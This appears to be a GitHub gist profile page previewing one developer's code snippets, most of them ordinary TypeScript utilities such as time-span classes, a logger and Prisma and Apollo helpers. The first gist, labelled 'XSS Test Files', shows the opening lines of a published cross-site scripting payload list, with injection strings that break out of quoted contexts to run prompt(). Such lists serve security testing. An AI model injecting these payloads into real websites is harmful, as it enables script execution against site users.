Skip to content

Instantly share code, notes, and snippets.

View JPBM135's full-sized avatar
🎯
Focusing

João Pedro Borges Martins JPBM135

🎯
Focusing
View GitHub Profile
@JPBM135
JPBM135 / lol.html
Created March 12, 2025 21:25
XSS Test Files
<!-- Project Name : Cross Site Scripting ( XSS ) Vulnerability Payload List -->
<!-- Author : Ismail Tasdelen -->
<!-- Linkedin : https://www.linkedin.com/in/ismailtasdelen/ -->
<!-- GitHub : https://github.com/ismailtasdelen/ -->
<!-- Twitter : https://twitter.com/ismailtsdln -->
<!-- Medium : https://medium.com/@ismailtasdelen -->
"-prompt(8)-"
'-prompt(8)-'
";a=prompt,a()//
@JPBM135
JPBM135 / README.md
Created December 12, 2024 05:53
TimeSpan for time conversion and operations

TimeSpan Utility Class

The TimeSpan class is a utility for managing and manipulating time intervals in TypeScript/JavaScript. It provides a simple, object-oriented way to perform arithmetic and comparison operations on time spans. This class can be used to represent durations in milliseconds, seconds, minutes, hours, or days.

Features

  • Creation Methods: Create TimeSpan objects from various inputs (current time, Date objects, milliseconds, seconds, minutes, hours, or days).
  • Conversion Methods: Convert a TimeSpan to milliseconds, seconds, minutes, hours, or days.
  • Arithmetic Operations: Add, subtract, multiply, and divide TimeSpan objects.
  • Comparison Methods: Compare TimeSpan objects using equality, less than, greater than, etc.
  • Time Checks: Check if the TimeSpan represents a past or future time.
@JPBM135
JPBM135 / knex-types.ts
Created December 5, 2024 20:02
Knex and Pg-to-Ts integration
import type { Knex } from 'knex';
import type { TableTypes } from '../../generated/database.types.js';
type SelectTableType<K extends keyof TableTypes> = TableTypes[K]['select'] & {
[P in Exclude<keyof TableTypes[K]['select'], symbol> as `${K}.${P}`]: TableTypes[K]['select'][P];
};
type InsertTableType<K extends keyof TableTypes> = TableTypes[K]['input'];
type UpdateTableType<K extends keyof TableTypes> = Partial<Exclude<TableTypes[K]['input'], 'id'>>;
@JPBM135
JPBM135 / apolloServerSentryPlugin.ts
Last active December 2, 2024 08:36
Apollo Server Sentry Plugin
import type { ApolloServerPlugin, GraphQLRequestListener } from '@apollo/server';
import { type PolymorphicRequest } from '@sentry/node';
import * as Sentry from '@sentry/node';
export interface AppContext {
sentrySpan: Sentry.Span;
}
export default function ApolloServerSentryPlugin(): ApolloServerPlugin<AppContext> {
return {
@JPBM135
JPBM135 / logger.ts
Created October 3, 2024 07:16
Useful Logger
import { inspect } from "node:util";
import kleur from "kleur";
kleur.enabled = true;
inspect.defaultOptions.depth = 10;
inspect.defaultOptions.maxArrayLength = 100;
interface ILoggerAdapter {
debug(prefix: string, message: string, ...args: any[]): void;
@JPBM135
JPBM135 / a_README.md
Last active September 26, 2024 08:23
Tools for mine server

My folder structure

Path Description
/home/minecraft_server/ The Minecraft server itself
/home/minecraft_server/run.sh The script to start the server
/home/minecraft_server/server.properties The server properties file
`/home/to
@JPBM135
JPBM135 / toggleScroll.ts
Created September 16, 2024 20:10
Block Scroll and Scrollbar
/*
37 - ArrowUp
38 - ArrowDown
39 - ArrowRight
40 - ArrowLeft
32 - Space
33 - PageUp
34 - PageDown
35 - End
36 - Home
@JPBM135
JPBM135 / formularizeInput.ts
Last active September 6, 2024 20:09
Obj to Form
import { FormGroup, FormArray, FormControl } from '@angular/forms';
import { InputMaybe } from '@generated/graphql';
type ExtractTypeFromInputMaybe<T> = NonNullable<T> extends InputMaybe<infer U> ? U : T;
type FormularizeRecord<T> =
ExtractTypeFromInputMaybe<T> extends Record<string, unknown>
? FormGroup<{ [K in keyof T]: FormularizeObject<NonNullable<T[K]>> }>
: never;
@JPBM135
JPBM135 / base.service.ts
Last active August 26, 2024 11:47
PrismaGenericbaseService.ts
import { IPaginatedType } from "@common/generics/paginated.type";
import { useConnection } from "@common/utils/connection";
import { paginated } from "@common/utils/paginated";
import { PrismaService } from "@infra/prisma/pprisma.service";
import { Prisma } from "@prisma/client";
import { Result } from "@prisma/client/runtime/library";
type PrismaModelsUnion = Prisma.TypeMap["meta"]["modelProps"];
// Get the model type from the prisma client based on the model name
@JPBM135
JPBM135 / Timestamp.ts
Created August 11, 2024 02:53
Timestamp class to help with time conversion
export class Timestamp {
public static SECOND_IN_MILLISECONDS = 1000;
public static MINUTE_IN_MILLISECONDS = 60 * Timestamp.SECOND_IN_MILLISECONDS;
public static HOUR_IN_MILLISECONDS = 60 * Timestamp.MINUTE_IN_MILLISECONDS;
public static DAY_IN_MILLISECONDS = 24 * Timestamp.HOUR_IN_MILLISECONDS;
private readonly _timestampMilliseconds: number;
private constructor(timestampMilliseconds: number) {
this._timestampMilliseconds = timestampMilliseconds;